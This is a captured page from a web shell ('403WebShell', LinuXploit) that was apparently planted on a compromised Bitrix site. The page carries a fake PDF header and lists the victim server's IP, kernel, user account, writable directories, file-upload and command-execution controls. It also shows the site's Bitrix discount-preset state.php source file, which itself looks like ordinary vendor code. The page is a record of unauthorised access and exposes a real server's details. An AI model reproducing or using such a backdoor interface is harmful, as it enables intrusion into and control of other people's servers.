%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.129.194.180
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/discount/preset/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/discount/preset/state.php
<?php

namespace Bitrix\Sale\Discount\Preset;


use Bitrix\Main\HttpRequest;
use Bitrix\Main\Type\Dictionary;
use Bitrix\Main\Security\Sign\Signer;

final class State extends Dictionary
{
	private const STATE_NAME_VAR = '__state';
	private const CHAIN_NAME_VAR = '__chain';
	private const STATE_SIGNER_SALT = 'discount.preset.state';

	/** @var Signer */
	private $signer = null;

	/**
	 * State constructor.
	 * @param array $values
	 */
	public function __construct(array $values = null)
	{
		parent::__construct($values);

		$this->setDefaultValues();
		$this->initSigner();
	}

	private function setDefaultValues()
	{
		if(empty($this[self::CHAIN_NAME_VAR]))
		{
			$this[self::CHAIN_NAME_VAR] = array();
		}
	}

	private function initSigner(): void
	{
		$this->signer = new Signer();
	}

	private function sign(string $data): string
	{
		return $this->signer->sign($data, self::STATE_SIGNER_SALT);
	}

	public function unSign(string $data): string
	{
		try
		{
			$signedData = $this->signer->unsign($data, self::STATE_SIGNER_SALT);
		}
		catch(\Bitrix\Main\Security\Sign\BadSignatureException $e)
		{
			die('Bad signature.');
		}
		return $signedData;
	}

	public function set($name, $value = null)
	{
		parent::set($name, $value);

		$this->setDefaultValues();

		return $this;
	}

	public function append(array $values)
	{
		foreach($values as $name => $value)
		{
			$this[$name] = $value;
		}

		return $this;
	}

	/**
	 * @param string $name
	 * @param callable|null $defaultValue
	 *
	 * @return null|string|array
	 */
	public function get($name, $defaultValue = null)
	{
		$value = parent::get($name);
		if ($defaultValue && is_callable($defaultValue))
		{
			return $defaultValue($value);
		}

		return $value !== null? $value : $defaultValue;
	}

	public static function createFromEncodedData($data)
	{
		$state = new State;

		if(empty($data))
		{
			return $state;
		}

		$data = $state->unSign($data);

		$data = base64_decode($data);
		if($data === false)
		{
			return $state;
		}
		$data = unserialize($data, ['allowed_classes' => ['Bitrix\Main\Type\DateTime', 'DateTime']]);

		return $state->set($data?: array());
	}

	public static function createFromRequest(HttpRequest $request)
	{
		$prevState = self::createFromEncodedData($request->getPost(self::STATE_NAME_VAR));

		$postData = array();
		foreach($request->getPostList()->toArray() as $name => $data)
		{
			if(is_array($data) && count($data) === 1 && ($data[0] !== '0' && empty($data[0])))
			{
				//empty array
				unset($prevState[$name]);
				continue;
			}

			if(is_array($data) && ($data[0] !== '0' && empty($data[0])))
			{
				unset($data[0]);
			}
			$postData[$name] = $data;
		}

		return new State(array_merge($prevState->toArray(), $postData));
	}

	public function addStepChain($step)
	{
		$chain = $this[self::CHAIN_NAME_VAR];
		$lastStep = end($chain);

		if($lastStep != $step)
		{
			$chain[] = $step;
			$this[self::CHAIN_NAME_VAR] = $chain;
		}

		return $this;
	}

	public function popStepChain()
	{
		$chain = $this[self::CHAIN_NAME_VAR];
		$step = array_pop($chain);

		$this[self::CHAIN_NAME_VAR] = $chain;

		return $step;
	}

	public function getPrevStep()
	{
		return end($this[self::CHAIN_NAME_VAR]);
	}

	private function getStepChain(): array
	{
		return $this->get(self::CHAIN_NAME_VAR, array());
	}

	public function __toString()
	{
		$data = $this->toArray();
		$value = $this->sign(base64_encode(serialize($data)));

		return '<input type="hidden" name="' . self::STATE_NAME_VAR . '" value="' . $value . '">';
	}

	public function toString()
	{
		return $this->__toString();
	}

	public function toArray()
	{
		$toArray = parent::toArray();

		unset(
			$toArray['sessid'],
			$toArray['lang'],
			$toArray['__next_step']
		);

		return $toArray;
	}

	public function getStepNumber()
	{
		$countPrevSteps = count($this->getStepChain());

		return $countPrevSteps + 1;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit